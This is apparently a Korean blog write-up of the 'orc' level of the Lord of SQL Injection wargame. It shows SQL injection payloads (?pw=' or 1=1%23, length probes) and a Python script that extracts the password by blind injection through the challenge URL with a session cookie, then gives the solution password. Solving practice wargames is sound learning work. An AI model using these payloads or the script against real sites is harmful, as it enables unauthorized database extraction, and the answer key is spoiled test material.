Wargame/Lord of SQL Injection

<Lord of SQL Injection> orc

지우친구 웅이 2021. 11. 11. 14:25

orc

GET 방식으로 'pw' 값을 전달받는다.

'id' 값이 참이면 "Hello admin"을 출력한다.

전달받은 'pw'에 싱글 쿼터('), 더블 쿼터("), 백 슬래시(\)가 있으면 그 앞에 '\'를 추가해서 전달받은 'pw' 값으로 한다.

그리고 'pw' 값이 참이고, 'pw' 값이 전달받은 'pw' 값이 같다면 문제가 풀린다.

 

우선 pw=1을 해보면

아무것도 출력되지 않는다.

 

or 문을 사용하여 'id' 값도 전달해야 하는 것 같다.

?pw=' or 1=1%23을 전달하면

"Hello admin"이 출력된다.

이를 통해 쿼리가 참이면 "Hello admin"이 출력되고, 거짓이면 아무것도 출력되지 않는 것을 짐작할 수 있다.

 

결과가 참과 거짓뿐이므로 Blind SQL Injection을 수행해 볼 수 있다.

우선, pw 값의 길이를 먼저 찾아야 한다.

?pw=' or length(pw) > 7%23을 입력하면

7보단 크다.

?pw=' or length(pw) > 8%23을 입력하면

이를 통해 pw의 값의 길이는 8인 것을 알 수 있다.

 

이제 한 글자씩 찾아야 한다.

파이썬 코드로 찾을 수 있다.

import requests

baseurl = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php'

pw = ''
want_str = '<h2>Hello admin</h2>'

for i in range(1, 9):
    for j in range(33, 128):
        url = baseurl + "?pw=' or ord(substring(pw,{},1))={}%23".format(i, j)
        cookies={'PHPSESSID' : '7cfoal1urq5oid9efb2m1g9lju'}
        res = requests.get(url=url, cookies=cookies)
        
        if want_str in res.text:
            pw += chr(j)
            break

print("pw : ", pw)

다른 사이트들의 문제들은 동작 코드가 따로 구현돼있어 참일 때 출력되는 구문이 1개만 출력된다. 하지만 이 문제의

경우, 동작 코드가 페이지에 나와있어 참일 때 출력되는 코드가 2개가 출력되어 앞에서 사용한 파이썬 코드를 사용할 수 없었다.

 

그래서 참일 때 출력되는 구문인 "<h2>Hello admin</h2>"이 있으면 pw 값에 추가하도록 했다.

이제 ?pw=095a9852를 입력하면 문제가 풀리게 된다.